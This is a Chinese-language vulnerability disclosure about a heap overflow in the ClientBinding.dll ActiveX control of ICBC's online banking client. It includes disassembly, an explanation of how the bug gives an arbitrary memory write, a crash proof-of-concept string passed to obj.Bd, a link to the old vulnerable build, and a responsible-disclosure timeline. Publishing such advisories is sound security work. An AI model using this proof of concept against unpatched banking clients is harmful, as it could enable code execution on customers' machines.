[漏洞编号]
CAL_20100623-1 
[影响版本]
ClientBinding.dll 1.0.0.2或以前 
[公告]
翰海源代码审计实验室在工行个人网银里发现一个高威胁的安全漏洞,可导致攻击者执行任意代码,并将此漏洞上报给工行珠海开发中心。7月底工行个人网银已修复该漏洞并发布了新的个人网银版本,考虑到工行网银的使用度和客户1DAY的修复时间,我们现在再发布公告,望没有安装新版本工行网银的用户及时安装新版本工行网银以避免威胁 
[漏洞细节]
该漏洞存是在于ClientBinding.dll的一个缓冲区溢出,ClientBinding存在一个BD接口和Ckbd接口,第一个参数代表一个路径,和http://www.icbc.com.cn/一起拼接成一个路径,但是系统对这个路径只固定分配了0×400大小的堆内存 
10010035 6800040000       push    0×400 
1001003a e801470000       call    ClientBinding!Gcrv+0×99c0 (10014740) 
1001003f 83c404           add     esp,0×4 
10010042 8bf0             mov     esi,eax 
但是在拷贝数据的时候,是根据参数1的真实长度来拷贝的,而并没有检测是否大于0X400,因此直接导致了一个堆溢出 
10001543 76f7             jbe     ClientBinding+0×153c (1000153c) 
10001545 8bce             mov     ecx,esi 
10001547 2bc6             sub     eax,esi 
10001549 8da42400000000   lea     esp,[esp] 
10001550 8a1401           mov     dl,[ecx+eax]            ds:0023:014d63d3=6b 
10001553 8811             mov     [ecx],dl 
10001555 41 begin_of_the_skype_highlighting              10001555 41      end_of_the_skype_highlighting               inc     ecx 
10001556 83ef01           sub     edi,0×1 
10001559 75f5             jnz     ClientBinding+0×1550 (10001550) 
之后,在WINDOWS XP的系统上,会直接在HEAPFREE里对一个覆盖的指针地址进行写入,由于该地址来源于攻击者覆盖的地址,攻击者可以任意构造地址写入。 
7c9308ee 8908             mov     [eax],ecx 
7c9308f0 895004           mov     [eax+0x4],edx 
7c9308f3 8902             mov     [edx],eax         ds:0023:75747372=???????? 
7c9308f5 894104           mov     [ecx+0x4],eax 
7c9308f8 56               push    esi 
7c9308f9 8b75c8           mov     esi,[ebp-0x38] 
继续执行,则向一个攻击者可控的地址写入当前内容地址,由于是攻击者可控的地址,该漏洞是一个非常容易利用的漏洞 
[验证POC]
Str=”abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789vabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrAAAstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789″; obj.Bd(Str, 0) 
[老版本验证下载地址] 
http://www.vdisk.cn/down/index/4800758A1266 
该版本用于验证此安全漏洞 
[工行新版本个人网银下载地址] 
http://www.icbc.com.cn/icbc/html/download/dkq/icbc_netbank_client_controls.exe 
[感谢]
感谢工行对漏洞报告的重视和及时修复 
[时间线]
6月23号:翰海源发现该高威漏洞 
6月30号:翰海源向珠海工行开发中心报告该漏洞 
7月23号:工行网银发布新的网银修复该漏洞 
8月21号: 翰海源公告  
	
  |